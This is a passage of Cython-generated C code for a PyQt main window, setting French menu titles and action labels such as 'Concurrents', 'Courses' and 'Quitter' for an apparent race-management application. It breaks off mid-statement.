__Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuConcurrents); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setTitle); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__694, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1097, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1098 * self.menuFfff.setTitle(_translate("MainWindow", "Fichier")) * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) # <<<<<<<<<<<<<< * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuCourses); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setTitle); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__695, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1098, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1099 * self.menuConcurrents.setTitle(_translate("MainWindow", "&Concurrents")) * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) # <<<<<<<<<<<<<< * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuR_sultats); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setTitle); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__696, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1099, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1100 * self.menuCourses.setTitle(_translate("MainWindow", "Co&urses")) * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) # <<<<<<<<<<<<<< * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__697, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1101 * self.menuR_sultats.setTitle(_translate("MainWindow", "R&sultats")) * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) # <<<<<<<<<<<<<< * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setWhatsThis); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__698, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1102 * self.actionQuitter.setText(_translate("MainWindow", "&Quitter")) * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) # <<<<<<<<<<<<<< * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionNouvelle_Course); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__699, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1103 * self.actionQuitter.setWhatsThis(_translate("MainWindow", "Quit le programme")) * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) # <<<<<<<<<<<<<< * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionOuvrire); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__700, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1104 * self.actionNouvelle_Course.setText(_translate("MainWindow", "&Nouvelle Course")) * self.actionOuvrire.setText(_translate("MainWindow", "&Ouvrire")) * self.actionEnregister.setText(_translate("MainWindow", "&Enregister")) # <<<<<<<<<<<<<< * self.actionEnregistrer_Sous.setText(_translate("MainWindow", "Enregistrer &Sous")) * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregister); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__701, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) 